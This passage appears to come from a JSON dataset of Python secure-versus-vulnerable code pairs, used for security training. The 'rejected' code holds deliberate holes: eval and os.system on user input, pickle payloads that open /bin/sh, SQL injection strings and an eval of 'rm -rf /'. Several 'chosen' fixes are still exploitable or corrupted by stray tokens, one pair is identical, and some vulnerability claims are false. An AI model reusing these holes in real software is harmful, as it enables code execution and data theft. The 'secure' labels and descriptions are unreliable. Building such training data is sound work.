        "vulnerability": "A buffer overflow vulnerability in Python could occur if an attacker manipulates input data to cause a buffer overflow, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that defines a function named 'vulnerable_function' which takes an input 'user_input'. This function creates a bytearray 'buffer' of size 100. It then iterates over each character in 'user_input', and assigns it to the corresponding index in 'buffer'. The function returns the 'buffer'. Then, create a string 'attacker_input' of length 200 filled with the character 'A'. Finally, print the result of calling 'vulnerable_function' with 'attacker_input' as argument.",
        "chosen": "```python\ndef secure_function(user_input):\n    max_length = 100\n    if len(user_input) > max_length:\n        raise ValueError(\"Input too long\")\n    buffer = bytearray(max_length)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\n# Attacker controlled input\nattacker_input = \"A\" * 200\ntry:\n    print(secure_function(attacker_input))\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\ndef vulnerable_function(user_input):\n    buffer = bytearray(100)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\n# Attacker controlled input\nattacker_input = \"A\" * 200\nprint(vulnerable_function(attacker_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of 'eval' function could lead to arbitrary code execution if it processes untrusted input.",
        "system": "",
        "question": "Write a python code that imports the os and sys modules. Define a function called 'evaluate_input' which takes in a string as an argument, evaluates it using the built-in eval function and returns the result. Define another function called 'main' which runs an infinite loop where it takes user input, passes it to the 'evaluate_input' function and prints the returned result. If the script is run directly, call the 'main' function.",
        "chosen": "```python\nimport ast\nfrom typing import Any\n\ndef evaluate_input(user_input: str) -> Any:\n    try:\n        tree = ast.parse(user_input, mode='eval')\n        if len(tree.body) > 1:\n            raise ValueError(\"Only one expression can be evaluated at a time\")\n        for node in ast.walk(tree):\n            if not isinstance(node, (ast.Expr, ast.Expression, ast.Module)):\n                raise ValueError(\"Only expressions can be evaluated\")\n        result = eval(compile(tree, filename=\"<ast>\", mode='eval'))\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n        result = None\n    return result\n\ndef main():\n    while True:\n        user_input = input(\"Enter something to evaluate: \")\n        print(evaluate_input(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef evaluate_input(user_input):\n    return eval(user_input)\n\ndef main():\n    while True:\n        user_input = input(\"Enter something to evaluate: \")\n        print(evaluate_input(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python's pickle module, which may allow unauthorized access or execution of arbitrary code.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should have a special method `__reduce__` which returns a tuple containing the function `os.system` and a string argument 'echo Hello, world > malicious_file.txt'. This will execute the command in the system shell, creating a file named 'malicious_file.txt' with the content 'Hello, world'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __reduce__(self):\n        # Use subprocess instead of os.system to avoid shell injection attacks\n        return (subprocess.Popen, (['echo', 'Hello, world'], \n                                  stdout=subprocess.PIPE,\n                                  stderr=subprocess.PIPE))\n\ndef serialize():\n    obj = SafeClass()\n    # Use pickle.dumps instead of pickle.dump to get the serialized object\n    serialized_obj = pickle.dumps(obj)\n    return serialized_obj\n\ndef deserialize(serialized_obj):\n    # Use pickle.loads instead of pickle.load to load the serialized object\n    obj = pickle.loads(serialized_obj)\n    return obj\n\nif __name__ == \"__main__\":\n    serialized_obj = serialize()\n    deserialize(serialized_obj)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo Hello, world > malicious_file.txt',))\n\ndef serialize():\n    obj = VulnerableClass()\n    serialized_obj = pickle.dumps(obj)\n    return serialized_obj\n\ndef deserialize(serialized_obj):\n    obj = pickle.loads(serialized_obj)\n    return obj\n\nif __name__ == \"__main__\":\n    serialized_obj = serialize()\n    deserialize(serialized_obj)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The pickle module in Python could be exploited to create and execute arbitrary code which can lead to code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize an object that when deserialized, executes a system command 'echo \"malicious command\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'safe command'],))\n\npickled = pickle.dumps(SafePickle())\npickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"malicious command\"',))\n\npickled = pickle.dumps(EvilPickle())\npickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function may introduce code execution vulnerabilities if used carelessly as it interprets arbitrary strings as Python code.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the 'eval' function, and then execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['exec', 'eval']):\n            return self.generic_visit(node)\n        else:\n            raise ValueError('Restricted call')\n\ndef validate_code(code):\n    tree = ast.parse(code, mode='single')\n    RestrictedPython().visit(tree)\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    validate_code(user_input)\n    exec(user_input)\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n    \nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible buffer overflow vulnerability in Python due to improper use of the `format` function.",
        "system": "",
        "question": "Write a python code that asks the user to enter their name and then prints a greeting message using the entered name. If an error occurs during the execution of the program, catch the exception and print out the error message.",
        "chosen": "```python\ndef format_string(user_input):\n    if not isinstance(user_input, str):\n        raise ValueError(\"Input must be a string\")\n    return f\"Hello, {user_input}!\"\n\nwhile True:\n    try:\n        print(format_string(input(\"Enter your name: \")))\n    except Exception as e:\n        print(\"An error occurred: \", e)\n```",
        "rejected": "```python\ndef format_string(user_input):\n    return \"Hello, {}!\".format(user_input)\n\nwhile True:\n    try:\n        print(format_string(input(\"Enter your name: \")))\n    except Exception as e:\n        print(\"An error occurred: \", e)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The code may be vulnerable to SQL injection through string formatting if user-provided input is used for database queries without proper sanitization.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'search_user' which takes a username as input and returns the details of the user if they exist in the 'users' table of the database. If the user does not exist, the function should return None. Test the function by passing a string as argument that could potentially be used in a SQL injection attack.",
        "chosen": "```python\nimport sqlite3\n\ndef search_user(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\u5986\n    query = \"SELECT * FROM users WHERE username=?\"\n    cursor.execute(query, (username,))\n    user = cursor.fetchone()\n    return user\n\n# Testing the function\nprint(search_user(\"test')) OR '1'='1\";--\"))\n```",
        "rejected": "```python\nimport sqlite3\n\ndef search_user(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    cursor.execute(query)\n    user = cursor.fetchone()\n    return user\n\n# Testing the function\nprint(search_user(\"test')) OR '1'='1\";--\"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function to parse user input can lead to arbitrary code execution if user input is not properly sanitized.",
        "system": "",
        "question": "Write a python code that creates a class named 'VulnerableClass'. This class should have an initializer method that initializes an empty dictionary 'data'. It should also have two methods: 'get_input' which prompts the user to enter something and returns the entered value, and 'process_data' which calls 'get_input' to get user input and then evaluates the user input using the built-in 'eval' function. Finally, create an object of the 'VulnerableClass' and call its 'process_data' method.",
        "chosen": "```python\nimport ast\n\nclass SecureClass:\n    def __init__(self):\n        self.data = {}\n\n    def get_input(self):\n        user_input = input(\"Enter something: \")\n        return user_input\n\n    def process_data(self):\n        user_input = self.get_input()\n        try:\n            # Safely evaluate the user input using the ast module instead of eval()\n            parsed = ast.parse(user_input, mode='eval')\n            if len(parsed.body) > 1:\n                raise ValueError(\"Multiple expressions not allowed\")\n            compiled = compile(parsed, '<string>', mode='eval')\n            result = eval(compiled)\n            print(f\"Result: {result}\")\n        except Exception as e:\n            print(f\"Invalid input: {e}\")\n\nsecure_obj = SecureClass()\nsecure_obj.process_data()\n```",
        "rejected": "```python\nclass VulnerableClass:\n    def __init__(self):\n        self.data = {}\n\n    def get_input(self):\n        user_input = input(\"Enter something: \")\n        return user_input\n\n    def process_data(self):\n        user_input = self.get_input()\n        eval(user_input)\n\nvuln_obj = VulnerableClass()\nvuln_obj.process_data()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to improper handling of string formatting functions.",
        "system": "",
        "question": "Write a python code that asks the user for their name and then prints a greeting message including their name.",
        "chosen": "```python\ndef format_string(user_input):\n    return f\"Hello, {user_input}!\"\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    # Validate and sanitize user input\n    if not user_input.isalpha():\n        print(\"Invalid input. Please enter a valid name.\")\n        continue\n    print(format_string(user_input))\n```",
        "rejected": "```python\ndef format_string(user_input):\n    return \"Hello, %s!\" % user_input\n\nwhile True:\n    user_input = input(\"Enter your name: \")\n    print(format_string(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module may lead to arbitrary code execution if not used securely, as it can deserialize untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' command using os.system().",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module for serialization and deserialization can lead to arbitrary code execution if not handled properly due to its potential for RCE (Remote Code Execution).",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the 'id' command using the os module. This command will display the current process id.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.getoutput, ('id',))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('id',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python's pickle module could allow arbitrary code execution.",
        "system": "",
        "question": "Write a python code that creates a class named 'MyClass' which has a method '__reduce__'. This method returns a tuple where the first element is the function 'os.system' and the second element is a string 'echo \"you have been hacked\"'\". Then, use the 'pickle' module to serialize an instance of 'MyClass' into a byte stream. After that, deserialize the byte stream back into an object using the 'pickle.loads' function.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass MyClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'you have been hacked'],))\n\nmy_obj = MyClass()\npickled = pickle.dumps(my_obj)\n\n# Unpickling the maliciously pickled data:\nunpickled = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass MyClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"you have been hacked\"',))\n\npickled = pickle.dumps(MyClass())\n\n# Unpickling the maliciously pickled data:\nunpickled = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible use of 'eval' function can lead to execution of arbitrary code, which could allow for unauthorized access or manipulation of data.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'dangerous_function' which takes user input, evaluates it using the built-in eval() function, and then prompts the user to enter their command. The entered command is then passed to the dangerous_function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Invalid use of function call')\n        if node.func.id not in ['print', 'open']:\n            raise ValueError('Invalid function call')\n        super().generic_visit(node)\n\ndef restricted_eval(code):\n    tree = compile(code, filename=\"<ast>\", mode=\"eval\")\n    visitor = RestrictedPython()\n    visitor.visit(tree)\n    return eval(code)\n\ndef dangerous_function(user_input):\n    restricted_eval(user_input)\n\nuser_input = input(\"Enter your command: \")\ndangerous_function(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef dangerous_function(user_input):\n    eval(user_input)\n\nuser_input = input(\"Enter your command: \")\ndangerous_function(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module usage in Python can lead to arbitrary code execution if untrusted data is deserialized.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class should override the magic method '__reduce__' to return a tuple where the first element is the function 'os.system' and the second element is a string that contains a command to echo a message 'You have been hacked!' into a file '/tmp/hacked.txt'. Finally, call the function 'serialize_and_deserialize' to execute the serialization and deserialization process.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.call, ([\"/bin/echo\", \"You have been hacked!\"],), {\"stdout\": open('/tmp/hacked.txt', 'w')})\n\ndef serialize_and_deserialize():\n    evil = EvilClass()\n    serialized_data = pickle.dumps(evil)\n    deserialized_data = pickle.loads(serialized_data)\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_and_deserialize():\n    evil = EvilClass()\n    serialized_data = pickle.dumps(evil)\n    deserialized_data = pickle.loads(serialized_data)\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, if not properly validated or sanitized, user input can lead to arbitrary code execution through the use of eval() function.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a shell command using the 'os' module. The program should prompt the user to enter a command, then execute it using the 'os.system' function.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", user_input]\n    result = subprocess.run(command, capture_output=True, text=True)\n    print(result.stdout)\n\ndef main():\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\ndef main():\n    user_input = input(\"Enter your command: \")\n    run_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of unguarded pickle module can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute a system command that writes 'You have been hacked!' to a file named '/tmp/hacked.txt'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.call, (['echo', 'You have been hacked', '>', '/tmp/hacked.txt'],))\n\nsafe_pickle = SafePickle()\npickled = pickle.dumps(safe_pickle)\nunpickled = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\" > /tmp/hacked.txt',))\n\npickled = pickle.dumps(EvilPickle())\nunpickled = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a vulnerability could arise from improper handling of user input data. If not handled properly, malicious users could manipulate the input to execute unintended commands or access unauthorized",
        "system": "",
        "question": "Write a python code that takes user input and executes it using the os module. The user should be able to enter any command they want, and the program will execute it using the os module.",
        "chosen": "```python\nimport subprocess\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    # Split the user input into a list of arguments\n    args = user_input.split()\n    \n    # Check if the user input is empty\n    if len(args) == 0:\n        print(\"No command entered.\")\n        return\n\n    # Use subprocess instead of os.system for executing user input\n    try:\n        result = subprocess.run(args, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command execution failed. Error: {str(e)}\")\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    os.system(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as python code and executes it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['print', 'open']):\n            raise ValueError('Invalid function call')\n        self.generic_visit(node)\n        return node\n\ndef user_input():\n    return input(\"Enter something: \")\n\ndef safe_eval(user_input):\n    tree = compile(user_input, filename=\"<input>\", mode=\"eval\")\n    transformer = RestrictedPython()\n    new_tree = transformer.visit(tree)\n    code = compile(new_tree, filename=\"<input>\", mode=\"exec\")\n    exec(code)\n\nif __name__ == \"__main__\":\n    user_input = user_input()\n    safe_eval(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef user_input():\n    return input(\"Enter something: \")\n\ndef dangerous_function(user_input):\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    user_input = user_input()\n    dangerous_function(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if not used correctly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the eval function, and then execute it. If the user inputs a string like 'os.system('ls')', the program will list all files in the current directory.",
        "chosen": "```python\nimport ast\n\nclass RestrictedEval(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"os\":\n            raise ValueError(\"os module is not allowed\")\n        self.generic_visit(node)\n\ndef restricted_eval(code):\n    tree = ast.parse(code, mode='exec')\n    RestrictedEval().visit(tree)\n    compiled_code = compile(tree, filename=\"<ast>\", mode='exec')\n    exec(compiled_code)\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    try:\n        restricted_eval(user_input)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python due to string formatting functions like str.format() or % operator.",
        "system": "",
        "question": "Write a python code that defines a function named 'vulnerable_function' which takes an input 'user_input'. The function should create a message 'Hello, {0}!' where {0} is replaced by the user's input. Then it should print out this message.",
        "chosen": "```python\ndef vulnerable_function(user_input):\n    if not isinstance(user_input, str):\n        raise ValueError('Invalid input type. Expected string.')\n    msg = f\"Hello, {user_input}!\"\n    print(msg)\n\nvulnerable_function(\"Attacker\")\n```",
        "rejected": "```python\ndef vulnerable_function(user_input):\n    msg = \"Hello, {0}!\".format(user_input)\n    print(msg)\n\nvulnerable_function(\"Attacker\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, there isn't any specific vulnerability, but it's possible to have issues like buffer overflow, memory management errors, and race conditions if not programmed correctly.",
        "system": "",
        "question": "Write a python code that creates a class named 'VulnerableClass' and a method 'increment' which increments a value by 1. Create two threads that call the 'increment' method on an instance of 'VulnerableClass'. The threads should run concurrently and both should increment the same instance of 'VulnerableClass' 1000 times.",
        "chosen": "```python\nimport threading\n\nclass VulnerableClass:\n    def __init__(self):\n        self.value = 0\n        self.lock = threading.Lock()\n\n    def increment(self):\n        with self.lock:\n            current_value = self.value\n            print(f\"Value before increment: {current_value}\")\n            current_value += 1\n            self.value = current_value\n            print(f\"Value after increment: {self.value}\")\n\ndef thread_function(vuln_obj):\n    for _ in range(1000):\n        vuln_obj.increment()\n\nif __name__ == \"__main__\":\n    obj = VulnerableClass()\n\n    t1 = threading.Thread(target=thread_function, args=(obj,))\n    t2 = threading.Thread(target=thread_function, args=(obj,))avant\n\n    t1.start()\n    t2.start()\n\n    t1.join()\n    t2.join()\n```",
        "rejected": "```python\nimport threading\n\nclass VulnerableClass:\n    def __init__(self):\n        self.value = 0\n\n    def increment(self):\n        current_value = self.value\n        print(f\"Value before increment: {current_value}\")\n        current_value += 1\n        self.value = current_value\n        print(f\"Value after increment: {self.value}\")\n\ndef thread_function(vuln_obj):\n    for _ in range(1000):\n        vuln_obj.increment()\n\nif __name__ == \"__main__\":\n    obj = VulnerableClass()\n\n    t1 = threading.Thread(target=thread_function, args=(obj,))\n    t2 = threading.Thread(target=thread_function, args=(obj,))\n\n    t1.start()\n    t2.start()\n\n    t1.join()\n    t2.join()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to unchecked user input size",
        "system": "",
        "question": "Write a python code that uses Flask to create a web server that listens on port 8000. The server should have one route '/echo' that accepts POST requests. When a POST request is received at this route, it should extract the 'data' field from the request and return a string 'Echo: [data]'.",
        "chosen": "```python\nfrom flask import Flask, request, abort\napp = Flask(__name__)\n\n@app.route('/echo', methods=['POST'])\ndef echo():\n    if 'data' not in request.form:\n        abort(400, \"Missing 'data' field in POST request.\")\n    \n    data = request.form['data']\n    \n    # Limit the length of the data to prevent buffer overflow\n    max_length = 1000  # Set your desired maximum length\n    if len(data) > max_length:\n        abort(400, f\"'data' field is too long. Maximum allowed length is {max_length} characters.\")\n    \n    return f\"Echo: {data}\"\n\nif __name__ == '__main__':\n    app.run(port=8000)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/echo', methods=['POST'])\ndef echo():\n    data = request.form['data']\n    return f\"Echo: {data}\"\n\nif __name__ == '__main__':\n    app.run(port=8000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python could occur if a large string is assigned to a small string variable, leading to memory corruption and potential code execution.",
        "system": "",
        "question": "Write a python code that defines a function named 'main'. This function should concatenate two strings 's' and 't', where 's' is 'Hello' and 't' is 'World'. Then, it should slice the first 10 characters from the resultant string and print it.",
        "chosen": "```python\ndef main():\n    s = \"Hello\"\n    t = \"World\"\n    u = s + t\n    v = u[:10]\n    print(v)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef main():\n    s = \"Hello\"\n    t = \"World\"\n    u = s + t\n    v = u[:10]\n    print(v)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may be vulnerable to SQL injection attacks when handling raw SQL queries without proper sanitization.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user' which takes a string argument 'username'. This function should execute a SQL query on the database to select all rows from the table 'users' where the column 'username' matches the input 'username'. If the input 'username' is 'admin' OR '1'='1'--', the SQL injection attack will be successful and all records in the 'users' table will be returned.",
        "chosen": "```python\nimport sqlite3\n\ndef get_user(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    # Use parameterized query to prevent SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username = ?\", (username,))\n    user = cursor.fetchone()\n    return user\n\n# Testing the function\nprint(get_user(\"admin\"));\n```",
        "rejected": "```python\nimport sqlite3\n\ndef get_user(username):\n    conn = sqlite3.connect('mydatabase.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username = '\" + username + \"'\"\n    cursor.execute(query)\n    user = cursor.fetchone()\n    return user\n\nprint(get_user(\"admin' OR '1'='1'--\");\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, posing a security risk if used improperly.",
        "system": "",
        "question": "Write a python code that imports the os module. Define a function named 'run_command' which takes a string 'user_input' as an argument. Inside this function, define a variable 'command' and assign it the value 'ls -l'. Then, use the 'eval' function to execute the 'user_input' string. Finally, call the 'run_command' function with the argument 'os.system('rm -rf /')'.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"ls\", \"-l\"]\n    subprocess.call(command)\n\nrun_command(\"rm -rf /\")\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls -l\"\n    eval(user_input)\n\nrun_command(\"os.system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability due to lack of checks on the length of user input.",
        "system": "",
        "question": "Write a python code that takes an input from the user, counts the number of characters in the input using the 'wc' command and 'echo' command, and then prints the count.",
        "chosen": "```python\nimport subprocess\nimport shlex\n\ndef secure_function(user_input):\n    # Escape user input to prevent command injection\n    escaped_input = shlex.quote(user_input)\n    \n    # Use subprocess instead of os.popen for better security\n    command = f\"echo -n {escaped_input} | wc -c\"\n    result = subprocess.run(command, shell=True, capture_output=True, text=True)\n    \n    # Check if command execution was successful\n    if result.returncode == 0:\n        return int(result.stdout)\n    else: inclusion\n        raise Exception(f\"Command execution failed with error: {result.stderr}\")\n\nif __name__ == \"__main__\":\n    import sys\n    user_input = sys.argv[1]\n    print(secure_function(user_input))\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef vulnerable_function(user_input):\n    command = \"echo -n \" + user_input + \" | wc -c\"\n    result = os.popen(command).read()\n    return int(result)\n\nif __name__ == \"__main__\":\n    user_input = sys.argv[1]\n    print(vulnerable_function(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to improper use of string formatting functions.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_command' which takes a string as an argument. This function creates a command string that echoes the input string into a file named 'myfile.txt'. Then, it executes this command using the os.system() function. Finally, call this function with a large string ('A' repeated 10000000 times).",
        "chosen": "```python\nimport os\nimport subprocess\n\ndef execute_command(user_input):\n    with open('myfile.txt', 'w') as f:\n        f.write(user_input)\n\nexecute_command(\"A\"*10000000)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"echo %s > myfile.txt\" % (user_input)\n    os.system(command)\n\nexecute_command(\"A\"*10000000)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible code vulnerability can be an unhandled exception in Python, which may lead to the program crashing or producing incorrect results.",
        "system": "",
        "question": "Write a python code that generates a random number between 0 and 10. If an exception occurs during the execution of the code, catch it and do nothing.",
        "chosen": "```python\nimport random\n\ndef random_function():\n    return random.randint(0, 10)\n\ndef main_function():\n    try:\n        result = random_function()\n        print(\"The result is: \", result)\n    except Exception:\n        # An empty except clause will catch all exceptions. It's better to log the error for debugging purpose.\n        import traceback\n        traceback.print_exc()\n\nmain_function()\n```",
        "rejected": "```python\nimport random\n\ndef random_function():\n    return random.randint(0, 10)\n\ndef main_function():\n    try:\n        result = random_function()\n        print(\"The result is: \", result)\n    except Exception as e:\n        pass\n\nmain_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, an Uncontrolled Resource Consumption vulnerability exists due to resource exhaustion during recursive function calls.",
        "system": "",
        "question": "Write a python code that calculates the nth number in the Fibonacci sequence using recursion.",
        "chosen": "```python\ndef fibonacci(n, computed = {0: 0, 1: 1}):\n    if n not in computed:\n        computed[n] = fibonacci(n-1, computed) + fibonacci(n-2, computed)\n    return computed[n]\n\nprint(fibonacci(50))\n```",
        "rejected": "```python\ndef fibonacci(n):\n    if n <= 1:\n        return n\n    else:\n        return fibonacci(n-1) + fibonacci(n-2)\n\nprint(fibonacci(50))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible vulnerability in Python could be an improper handling of exceptions during file operations, leading to potential data loss or corruption.",
        "system": "",
        "question": "Write a python code that creates three functions: one to write content to a text file, another to read content from the same file and finally, a third function to delete the file. The first function should take in a string argument and write it to a file named 'myfile.txt'. If an error occurs during this process, it should print an error message. The second function should read the content from the same file and return it. If an error occurs during this process, it should print an error message. The third function should delete the file 'myfile.txt'. If an error occurs during this process, it should print an error message.",
        "chosen": "```python\nimport os\n\ndef write_to_file(content):\n    try:\n        with open('myfile.txt', 'w') as f:\n            f.write(content)\n    except IOError as e:\n        print(\"An error occurred while writing to the file: \", str(e))\n    except Exception as e:\n        print(\"Unexpected error occurred: \", str(e))\n\ndef read_from_file():\n    try:\n        with open('myfile.txt', 'r') as f:\n            return f.read()\n    except IOError as e:\n        print(\"An error occurred while reading from the file: \", str(e))\n    except Exception as e:\n        print(\"Unexpected error occurred: \", str(e))\n\ndef delete_file():\n    try:\n        os.remove('myfile.txt')\n    except OSError as e:\n        print(\"An error occurred while deleting the file: \", str(e))\n    except Exception as e:\n        print(\"Unexpected error occurred: \", str(e))\n\n# Testing the functions\nwrite_to_file(\"Hello, World\")\nprint(read_from_file())\ndelete_file()\n```",
